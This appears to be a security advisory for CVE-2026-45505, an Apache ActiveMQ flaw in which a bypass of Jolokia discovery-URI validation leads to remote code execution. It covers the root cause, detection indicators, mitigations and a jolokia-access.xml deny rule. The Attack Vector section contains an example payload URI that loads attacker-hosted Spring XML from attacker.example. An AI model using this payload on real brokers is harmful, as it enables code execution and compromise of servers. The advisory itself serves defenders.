CVE-2026-45505: Apache ActiveMQ RCE Vulnerability

CVE-2026-45505 Overview

CVE-2026-45505 is a code injection vulnerability in Apache ActiveMQ that bypasses the fix for CVE-2026-34197. The flaw resides in the validation logic for VM transport discovery URIs exposed through the Jolokia JMX-HTTP bridge at /api/jolokia/. Non-parenthesized discovery wrappers such as masterslave:vm://...,... and static:vm://... slip past the validation introduced in the prior patch. An authenticated attacker can invoke BrokerService.addNetworkConnector(String) or BrokerService.addConnector(String) to load a remote Spring XML application context, achieving arbitrary code execution on the broker's Java Virtual Machine (JVM). The issue affects Apache ActiveMQ Broker and the ActiveMQ All distribution before 5.19.7 and from 6.0.0 before 6.2.6.

Critical Impact

An authenticated attacker can achieve remote code execution on the ActiveMQ broker JVM by abusing Jolokia exec operations to load attacker-controlled Spring XML, leading to full broker compromise.

Affected Products

• Apache ActiveMQ Broker before 5.19.7 and from 6.0.0 before 6.2.6
• Apache ActiveMQ All before 5.19.7 and from 6.0.0 before 6.2.6
• Apache ActiveMQ before 5.19.7 and from 6.0.0 before 6.2.6

Discovery Timeline

• 2026-06-01 - CVE-2026-45505 published to the National Vulnerability Database (NVD)
• 2026-06-01 - Last updated in NVD database

Technical Details for CVE-2026-45505

Vulnerability Analysis

Apache ActiveMQ exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans matching org.apache.activemq:*. This includes the BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String) methods, both of which accept discovery URIs as arguments.

The original fix for CVE-2026-34197 added validation to reject malicious discovery URIs. CVE-2026-45505 demonstrates that the validation only matches parenthesized wrapper syntax. Non-parenthesized forms such as masterslave:vm://...,... and static:vm://... reach the VM transport handler unchecked.

Once the crafted URI reaches the VM transport, the brokerConfig parameter loads a remote Spring XML application context through ResourceXmlApplicationContext. Spring instantiates all singleton beans before BrokerService validates the configuration. This ordering allows bean factory methods such as Runtime.exec() to execute attacker-defined commands on the broker's JVM. The root weakness is tracked as Improper Input Validation [CWE-20].

Root Cause

The validation routine introduced for CVE-2026-34197 only inspects parenthesized discovery wrappers. The non-parenthesized variants masterslave:vm:// and static:vm:// pass the check and reach the underlying VM transport, which honors the brokerConfig parameter to load arbitrary Spring XML resources.

Attack Vector

The attacker must hold authenticated access to the ActiveMQ web console. The attacker issues an HTTP request to the Jolokia endpoint invoking BrokerService.addNetworkConnector with a discovery URI such as static:vm://localhost?brokerConfig=xbean:http://attacker.example/evil.xml. The remote XML file defines a Spring bean whose factory method calls Runtime.exec with arbitrary commands. Code execution occurs in the broker process before any configuration validation runs. Refer to the Apache Thread Discussion and the NVD CVE-2026-34197 Details for additional technical context.

Detection Methods for CVE-2026-45505

Indicators of Compromise

• HTTP POST requests to /api/jolokia/ invoking addNetworkConnector or addConnector operations on org.apache.activemq:* MBeans.
• Request payloads containing the strings masterslave:vm://, static:vm://, or brokerConfig=xbean: referencing remote URLs.
• ActiveMQ broker processes spawning unexpected child processes such as shells, curl, wget, or scripting interpreters.
• Outbound HTTP requests from the broker JVM to untrusted hosts retrieving XML resources.

Detection Strategies

• Inspect ActiveMQ access logs for Jolokia exec invocations targeting BrokerService MBean operations and alert on any discovery URI parameter.
• Monitor the broker JVM for ResourceXmlApplicationContext initialization events tied to network-loaded resources.
• Apply web application firewall (WAF) rules that block POST bodies containing vm:// schemes combined with brokerConfig.

Monitoring Recommendations

• Forward ActiveMQ web console and Jolokia logs to a centralized logging platform with retention sufficient for incident review.
• Alert on process lineage where activemq or java parents spawn /bin/sh, cmd.exe, powershell.exe, or network utilities.
• Track authenticated users invoking JMX exec operations and baseline normal administrative activity.

How to Mitigate CVE-2026-45505

Immediate Actions Required

• Upgrade Apache ActiveMQ to version 5.19.7 or 6.2.6, which contain the corrected discovery URI validation.
• Restrict network access to the ActiveMQ web console and Jolokia endpoint to trusted management networks only.
• Rotate ActiveMQ web console credentials and audit accounts with management privileges.
• Review broker hosts for signs of post-exploitation activity, including unexpected processes and outbound connections.

Patch Information

Apache has released fixed builds in Apache ActiveMQ 5.19.7 and 6.2.6. The patches extend discovery URI validation to cover non-parenthesized wrapper schemes such as masterslave:vm:// and static:vm://. Refer to the Apache Thread Discussion for the official advisory.

Workarounds

• Disable the Jolokia endpoint by removing or restricting /api/jolokia/ in the web console configuration when upgrade is not immediately possible.
• Tighten the Jolokia access policy in jolokia-access.xml to deny exec operations on org.apache.activemq:* MBeans.
• Place the broker behind a reverse proxy that strips or rejects requests containing vm:// schemes in JMX parameters.

# Example jolokia-access.xml restriction
# Place in $ACTIVEMQ_HOME/webapps/api/WEB-INF/classes/
<restrict>
  <deny>
    <mbean>
      <name>org.apache.activemq:*</name>
      <operation>addNetworkConnector</operation>
      <operation>addConnector</operation>
    </mbean>
  </deny>
</restrict>